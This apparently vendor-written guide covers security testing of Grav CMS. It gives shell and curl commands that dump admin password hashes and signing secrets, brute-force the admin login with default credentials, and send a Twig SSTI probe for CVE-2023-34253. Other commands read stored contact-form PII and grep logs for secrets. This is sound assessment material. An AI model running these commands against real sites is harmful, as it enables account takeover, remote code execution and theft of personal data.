Grav CMS Security Testing: Default Credentials, API Key, Database, and CMS

Grav CMS is a popular database-free PHP flat-file CMS known for its performance and flexibility. Key assessment areas: user/accounts/ YAML files contain bcrypt-hashed passwords for all admin users; user/config/security.yaml may expose a secret key used for token signing; the Admin Plugin at /admin provides credential brute-force access; and user/data/ stores form submission data including contact form PII. This guide covers systematic Grav CMS security assessment.

Table of Contents

  1. user/accounts/ YAML Hash and Config Extraction
  2. Admin Plugin and REST API Assessment
  3. user/data/ Form Submission PII Access
  4. Grav CMS Security Hardening

user/accounts/ YAML Hash and Config Extraction

# Grav CMS — user/accounts/ YAML hash and config extraction
GRAV_URL="https://site.example.com"

# user/accounts/ — Grav user YAML files (one per user)
ls /var/www/grav/user/accounts/ 2>/dev/null
# admin.yaml, editor.yaml, etc.

for ACCOUNT in /var/www/grav/user/accounts/*.yaml; do
  echo "=== ${ACCOUNT} ==="
  cat "${ACCOUNT}" 2>/dev/null
done
# email: admin@example.com
# fullname: Admin
# password: '$2y$10$...'   <-- bcrypt hash
# state: enabled
# access:
#   admin:
#     login: true
#     super: true    <-- superadmin (true = full access)

# user/config/security.yaml — secret key for token signing
cat /var/www/grav/user/config/security.yaml 2>/dev/null
# secret: 'some-random-secret'   <-- CSRF token and session signing key

# user/config/system.yaml — session configuration
grep -E "secret|session|path" /var/www/grav/user/config/system.yaml 2>/dev/null

# Check web access to user/ directory (must return 403)
for PATH in "user/accounts/" "user/config/" "user/data/" "logs/"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${GRAV_URL}/${PATH}" 2>/dev/null)
  echo "/${PATH}: HTTP ${STATUS}"
done

# Test admin credentials
for CRED in "admin:admin" "admin@example.com:admin" "admin:password"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "${GRAV_URL}/admin/login" \
    -d "data[username]=${USER}&data[password]=${PASS}&task=login" \
    -c /tmp/grav_c -b /tmp/grav_c -L 2>/dev/null)
  echo "${USER}/${PASS}: HTTP ${STATUS}"
done

Admin Plugin and REST API Assessment

# Grav CMS Admin Plugin — credential and plugin vulnerability assessment
GRAV_URL="https://site.example.com"

# Grav Admin Plugin (grav-plugin-admin) at /admin
# Default admin path: /admin (configurable via user/plugins/admin.yaml)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${GRAV_URL}/admin" 2>/dev/null)
echo "/admin: HTTP ${STATUS}"

# Grav version disclosure
curl -s "${GRAV_URL}/admin/api" 2>/dev/null | head -5
cat /var/www/grav/grav/CHANGELOG.md 2>/dev/null | head -3

# Grav Plugin Directory — list installed plugins
ls /var/www/grav/user/plugins/ 2>/dev/null | head -20
# admin, form, login, errors, problems, etc.

# Grav admin — page editing (admin session required)
ADMIN_SESS="extracted-admin-session"
# List all pages including drafts
curl -s "${GRAV_URL}/admin/pages.json" \
  -b "grav-site-${ADMIN_SESS}=..." 2>/dev/null | \
  python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    for p in (d.get('pages',[]) if isinstance(d,dict) else d)[:5]:
        print(f'  {p.get(\"slug\")} — visible={p.get(\"visible\")}')
except: pass
" 2>/dev/null

# Check for Grav RCE CVE-2023-34253 (Grav admin SSTI)
# Grav < 1.7.42 is vulnerable to SSTI in admin flex-objects
curl -s -X POST "${GRAV_URL}/admin/flex-objects/users/admin/edit" \
  -d "data[fullname]={{7*7}}" \
  -c /tmp/grav_rce 2>/dev/null | grep -o "49" | head -1

user/data/ Form Submission PII Access

# Grav CMS — user/data/ form submission PII access
# Grav Form Plugin stores form submissions as YAML files in user/data/

# user/data/ directory — form submission files
find /var/www/grav/user/data/ -name "*.yaml" 2>/dev/null | head -20
# user/data/contact-form/2026-01-15-14-30-00.yaml
# user/data/newsletter/2026-01-16-09-15-00.yaml

# Read form submissions (contact forms, newsletter signups, etc.)
for SUBMISSION in /var/www/grav/user/data/*/*.yaml; do
  echo "=== ${SUBMISSION} ==="
  cat "${SUBMISSION}" 2>/dev/null | head -20
done
# name: John Doe
# email: john@example.com
# message: "I need help with..."
# phone: +1 555-1234

# Grav logs — check for credential leakage in logs
cat /var/www/grav/logs/grav.log 2>/dev/null | \
  grep -E "password|credential|secret|key|exception" | head -10

# Cache directory — PHP serialized objects
ls /var/www/grav/cache/ 2>/dev/null | head -10
# Grav cache may contain serialized PHP objects with sensitive data

Grav CMS Security Hardening

Grav CMS Security Hardening Checklist:
Security TestMethodRisk
user/accounts/ YAML bcrypt hash web accessibilityGET /user/accounts/ — HTTP 200 = direct bcrypt hash download without server access; all admin accounts compromised offlineCritical
CVE-2023-34253 SSTI in Grav admin flex-objects (Grav <1.7.42)POST admin profile with Twig payload — authenticated admin SSTI enabling arbitrary PHP code execution on serverCritical
Admin credential brute-force at /admin/loginPOST /admin/login — admin/admin or common passwords; admin session enables full CMS control, plugin installation, file uploadHigh
user/data/ form submission PII accessRead /var/www/grav/user/data/ — all contact form submissions including names, emails, phone numbers, messages in plaintext YAMLHigh
user/config/security.yaml secret key extractionRead user/config/security.yaml — CSRF token signing key; forge CSRF tokens for authenticated actions without admin sessionHigh

Automate Grav CMS Security Testing

Ironimo tests Grav CMS deployments for user/accounts/ YAML bcrypt hash web accessibility assessment, CVE-2023-34253 Twig SSTI admin flex-objects RCE testing (Grav <1.7.42), admin credential brute-force at /admin/login, user/config/security.yaml secret key extraction, user/data/ form submission PII YAML file enumeration, logs/grav.log credential leakage assessment, Grav plugin inventory for unpatched vulnerability detection, /user/ /vendor/ /system/ /cache/ web accessibility verification, Grav version disclosure for CVE targeting, and Grav CLI bin/ directory accessibility check.

Start free scan